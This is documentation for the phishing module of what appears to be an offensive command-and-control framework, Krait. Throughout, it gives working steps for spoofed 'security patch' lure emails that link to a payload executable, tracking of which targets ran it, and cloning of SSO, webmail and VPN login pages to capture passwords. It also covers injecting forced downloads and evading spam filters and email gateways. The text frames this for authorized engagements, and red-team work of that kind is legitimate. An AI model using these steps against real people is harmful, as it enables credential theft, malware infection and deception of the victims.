Phishing
Phishing campaigns, landing page cloning, and credential harvesting
Krait’s phishing toolkit has two complementary capabilities: email campaigns for sending phishing emails with open/click tracking, and landing page cloning for credential harvesting through cloned websites. Both integrate with the credential store, and cloned pages can be paired with campaigns for a complete phishing attack chain.
Email Campaigns
Krait includes a built-in phishing campaign manager for social engineering engagements. Create campaigns with custom email templates, import targets from CSV, send emails in batches through any SMTP server, and track opens, clicks, and payload executions in real time.
Available through the Web UI (Phishing page), the CLI (phish commands), and the REST API.
How It Works
The phishing system tracks targets through a five-stage funnel:
pending → sent → opened → clicked → executed
| Stage | How It’s Detected |
|---|---|
| Pending | Target added to campaign, email not yet sent |
| Sent | Email delivered via SMTP |
| Opened | Tracking pixel loaded by email client |
| Clicked | Target clicked the payload link |
| Executed | Target’s IP matched an agent check-in |
Each target gets a unique tracking ID embedded in the email. The tracking pixel is a transparent 1x1 PNG served from the Krait server. The click tracker redirects to the payload URL and records the target’s IP address for execution correlation.
Note: The tracking pixel and click redirect endpoints are unauthenticated — they must be reachable by email clients and targets. All other phishing endpoints require operator authentication.
Quick Start
1. Create an Email Template
Templates are HTML emails with variable substitution. Save your template to a file on the server:
Subject: Important Security Update for {{company}}
<html>
<body>
<p>Hi {{name}},</p>
<p>Our security team has identified a critical vulnerability affecting
{{company}} systems. Please download and run the attached security
patch immediately.</p>
<p><a href="{{link}}">Download Security Patch</a></p>
<p>Best regards,<br>
IT Security Team</p>
{{tracking_pixel}}
</body>
</html>
2. Create a Target CSV
Create a CSV file with email, name, and company columns. Additional columns become custom template variables:
email,name,company,department
john.doe@target.com,John Doe,Acme Corp,Engineering
jane.smith@target.com,Jane Smith,Acme Corp,Finance
bob.jones@target.com,Bob Jones,Acme Corp,HR
3. Create and Launch (CLI)
krait> phish create "Q4 Awareness" --template /path/to/template.html \
--from "IT Security <security@company.com>" \
--smtp mail.company.com:587 \
--smtp-user phish@company.com \
--smtp-pass 'S3cret!' \
--targets /path/to/targets.csv \
--payload-url https://your-server/update.exe \
--tracking-url https://your-public-server:50051
[+] Campaign created: id=1, name=Q4 Awareness
[+] Imported 3 targets
krait> phish start 1
[+] Campaign 1 started — sending in batches of 10
krait> phish status 1
Campaign: Q4 Awareness (running)
From: IT Security <security@company.com>
SMTP: mail.company.com:587
Funnel:
Total: 3 | Sent: 2 | Opened: 1 | Clicked: 0 | Executed: 0
Template Variables
Variables use double-brace syntax and are replaced per-target when emails are sent:
| Variable | Source | Description |
|---|---|---|
{{name}} | CSV name column | Target’s full name |
{{email}} | CSV email column | Target’s email address |
{{company}} | CSV company column | Target’s company name |
{{link}} | --payload-url parameter | Payload download link with tracking ID appended |
{{tracking_pixel}} | Auto-generated | Invisible 1x1 PNG <img> tag for open tracking |
Any additional CSV columns beyond email, name, and company are available as custom variables. For example, a department column creates the {{department}} variable.
Subject Line
The first line of the template starting with Subject: is extracted as the email subject. Variables work in the subject line too:
Subject: {{name}}, action required for {{company}}
If no Subject: line is found, the campaign name is used as the subject.
Tracking URL
The tracking pixel and click redirect URLs embedded in emails need to point to a publicly reachable address. By default, the server URL is auto-detected from the API request, which is usually http://localhost:50051 — unreachable by email clients.
Set --tracking-url to the public address of your Krait operator API:
--tracking-url https://your-server:50051
If your Krait server is behind a reverse proxy or NAT, use the external address that email clients and targets can reach. The tracking URL is stored per-campaign, so different campaigns can use different servers.
Tracking Pixel
Place {{tracking_pixel}} in your template where you want the invisible tracking image. It renders as:
<img src="https://your-server/api/phish/track/TRACKING_ID.png"
width="1" height="1" style="display:none">
The server URL is automatically determined when the campaign starts.
Payload Link
The {{link}} variable renders as the --payload-url with the target’s tracking ID appended as a query parameter:
https://your-server/update.exe?t=TRACKING_ID
When a target clicks the link, Krait records the click and the target’s IP address, then redirects them to the payload URL.
CLI Reference
Campaign Management
phish list List all campaigns with funnel stats
phish create <name> [options] Create a new campaign
phish status <id> Campaign detail with per-target breakdown
phish start <id> Begin sending emails
phish pause <id> Pause an active campaign
phish delete <id> Delete campaign and all targets
Target Management
phish targets <id> List targets for a campaign
phish targets <id> import <csv> Import targets from a CSV file
Create Options
| Option | Required | Default | Description |
|---|---|---|---|
--template <file> | Yes | — | Path to HTML email template file on the server |
--from <addr> | Yes | — | Sender address, e.g. "IT Support <it@company.com>" |
--smtp <host:port> | Yes | — | SMTP server address and port |
--smtp-user <user> | No | — | SMTP authentication username |
--smtp-pass <pass> | No | — | SMTP authentication password |
--targets <csv> | No | — | CSV file to import targets from on creation |
--payload-url <url> | No | — | URL for the {{link}} template variable |
--tracking-url <url> | No | auto | Public URL for tracking pixel and click redirect |
--batch-size <n> | No | 10 | Number of emails sent per batch |
--batch-delay <s> | No | 60 | Seconds to wait between batches |
Web UI
The Phishing page in the Web UI provides a visual campaign dashboard:
- Create Campaign — collapsible form with all campaign parameters and a template editor
- Campaign List — table showing all campaigns with status, target count, and funnel stats (sent, opened, clicked, executed)
- Campaign Detail — click a campaign row to expand it and see:
- Funnel progress bar with color-coded segments
- Percentage breakdowns for each funnel stage
- Start / Pause / Delete action buttons
- Target import (CSV path) and manual target entry (draft campaigns only)
- Per-target table with email, status, and timestamps
The campaign list and target table auto-refresh every 5 seconds while a campaign is running.
Batch Sending
Emails are sent in the background using a dedicated worker thread. The batch_size and batch_delay parameters control the send rate:
- batch_size — number of emails sent in each burst (default: 10)
- batch_delay — seconds to wait between bursts (default: 60)
This prevents SMTP throttling and spreads the sends out to look more natural. A campaign with 100 targets at the defaults would take about 10 minutes to complete (10 batches × 60 seconds).
If the SMTP connection fails, the worker retries after 30 seconds.
Campaign States
| State | Description |
|---|---|
draft | Created, targets can be added. No emails sent yet. |
running | Background worker is actively sending emails. |
paused | Sending halted. Resume with phish start <id>. |
complete | All pending targets have been sent. |
Execution Tracking
The “executed” funnel stage correlates payload execution with phishing targets by matching IP addresses. When an agent checks in from an IP that matches a recently clicked target, the target’s status advances to “executed.”
This gives you a complete picture: who received the email, who opened it, who clicked the link, and who actually ran the payload.
OPSEC Considerations
- SMTP authentication — use credentials for a mail server you control or that your engagement authorizes. Avoid sending through targets’ own mail infrastructure.
- Tracking endpoints — the
/api/phish/track/and/api/phish/click/paths are unauthenticated and must be reachable from the internet for tracking to work. Consider your server’s exposure. - From address — spoofing sender addresses may trigger SPF/DKIM/DMARC failures. For realistic phishing, use a domain you control with proper DNS records.
- Batch pacing — conservative batch sizes and delays reduce the chance of SMTP rate limiting or spam filtering. Start small and adjust based on your SMTP provider’s limits.
- Template content — security-aware email gateways scan for known phishing patterns. Test your templates against the target’s email security stack before launching the campaign.
- Tracking pixel limitations — some email clients block remote images by default (Outlook, many corporate configurations). Open tracking will undercount. Click tracking is more reliable.
Landing Page Cloner
Clone target websites and serve them through Krait’s built-in HTTP server. Form submissions are intercepted and credentials are captured into the credential store. Optionally inject a payload download trigger into the cloned page.
How It Works
phish clone <url> → scrape page + assets → serve on clone server → capture form POSTs → store credentials
- The scraper downloads the target page’s HTML, CSS, JavaScript, and images
- All URLs are rewritten to relative paths so the clone is self-contained
- Form
actionattributes are rewritten so submissions go back to the clone server - The clone HTTP server serves the page on a configurable port and path
- When a target submits a form, credentials are extracted and stored in the credential store
- The target is redirected to the real site (transparent to the victim)
Note: The clone server is a plain HTTP server. For HTTPS, put it behind your redirector’s nginx with TLS termination (use
krait2nginxto generate the config).
Quick Start
1. Clone a Target Page
krait> phish clone https://target-portal.com/login
[+] Cloned https://target-portal.com/login → id=a1b2c3d4e5f6, 12 assets
2. Start the Clone Server
krait> phish clone-serve --port 8080
[+] Clone server started on 0.0.0.0:8080
3. Verify
Visit http://your-server:8080/login — you should see the cloned page with all styling and images intact.
4. Capture Credentials
When a target fills in the login form and submits, the credentials appear in the credential store:
krait> creds
ID Type Username Secret Domain Source
1 plaintext john.doe P@ssw0rd123 target-portal.com clone
CLI Reference
phish clone <url> [options] Clone a target URL
phish clone-list List all clones with visit/cred counts
phish clone-status <id> Clone detail with stats
phish clone-creds <id> Show captured credentials for a clone
phish clone-serve [--port 8080] Start the clone HTTP server
phish clone-stop Stop the clone server
phish clone-delete <id> Delete a clone and its files
Clone Options
| Option | Default | Description |
|---|---|---|
--path <path> | /login | URL path where the clone is served (e.g. /portal, /signin) |
--inject-download <url> | — | Inject a JS snippet that triggers a file download after 2 seconds |
--no-capture-creds | (capture enabled) | Disable form interception — serve the page without credential capture |
--redirect <url> | (source URL) | Where to redirect after form capture. Defaults to the cloned URL |
Examples
Clone with a custom serve path:
krait> phish clone https://mail.target.com/owa --path /webmail
Clone with payload injection — the target sees the login page, and after 2 seconds a download prompt appears:
krait> phish clone https://portal.target.com/login --inject-download https://your-server/update.exe
Serve multiple clones simultaneously on different paths:
krait> phish clone https://vpn.target.com --path /vpn
krait> phish clone https://mail.target.com --path /mail
krait> phish clone-serve --port 80
Both pages are now live: http://your-server/vpn and http://your-server/mail.
What Gets Cloned
The scraper downloads and rewrites URLs for:
- HTML page content
- CSS stylesheets (including
@importchains) - JavaScript files
- Images (PNG, JPG, GIF, SVG, ICO)
- Fonts and other assets referenced in HTML tags
Assets are saved in an assets/ subdirectory alongside the cloned index.html. Only assets from the target domain are downloaded — cross-domain CDN resources (Google Fonts, jQuery CDN, etc.) are left as external references.
Limitation: The scraper downloads static HTML. Single-page applications that render content via JavaScript (React, Angular) will clone as empty shells. For JS-heavy login pages, consider cloning a simpler target or recreating the login form manually.
Credential Capture
When credential capture is enabled (the default), all <form> elements in the cloned HTML have their action attribute rewritten to submit back to the clone server.
The server extracts form fields using smart field detection:
| Priority | Username fields | Password fields |
|---|---|---|
| 1 | username, user, email, login | password, pass, passwd, pwd |
| 2 | usr, name, user_name | secret, credential |
| 3 | signin_email, loginfmt | signin_password |
| Fallback | First form field | Second form field |
The full POST body is stored in the credential’s notes field, so even non-standard field names are preserved.
After capture, the target receives a 302 redirect to the redirect URL (defaults to the original cloned URL). The experience is transparent — the target sees the real site’s login page and assumes their first attempt failed.
Pairing with Email Campaigns
For a complete phishing attack chain, combine email campaigns with cloned landing pages:
- Clone the target’s login portal
- Start the clone server (or put it behind your redirector)
- Create an email campaign with
--payload-urlpointing to your clone - The email links go to your cloned page
- Targets enter credentials → captured and stored
- Redirect sends them to the real site
krait> phish clone https://sso.target.com/login --path /sso
krait> phish clone-serve --port 8080
krait> phish create "Password Expiry" --template /templates/password_reset.html \
--payload-url https://your-redirector/sso \
--from "IT Helpdesk <helpdesk@target.com>" \
--smtp mail.your-server.com:587 \
--targets /targets/finance_dept.csv
krait> phish start 1
Web UI
The Phishing page includes a Cloned Sites section below the campaigns:
- Create Clone — form with URL, serve path, inject download URL, and capture creds toggle
- Clone Table — lists all clones with source URL, serve path, visit count, and credential count
- Server Controls — start/stop the clone server with configurable port
- Delete — remove individual clones
OPSEC Considerations
- Plain HTTP — the clone server does not support TLS. For engagements, place it behind your redirector’s nginx with proper TLS certificates. A login page served over HTTP is a red flag for security-aware targets.
- Asset completeness — missing assets (broken images, unstyled pages) make clones obvious. Verify the clone visually before going live. CDN-hosted assets that the scraper can’t download may need manual attention.
- Form behavior — the 302 redirect after credential capture sends the target to the real site. If the real site has CSRF tokens or session-specific forms, the target’s “retry” will work normally on the real site.
- Server fingerprint — the clone server returns Python’s
BaseHTTPRequestHandlerserver header. For a realistic deployment, put it behind nginx which overwrites theServerheader. - Visit logging — the clone server logs page visits (IP, User-Agent, timestamp) but not asset requests. Use the visit log for target activity analysis, not as a comprehensive access log.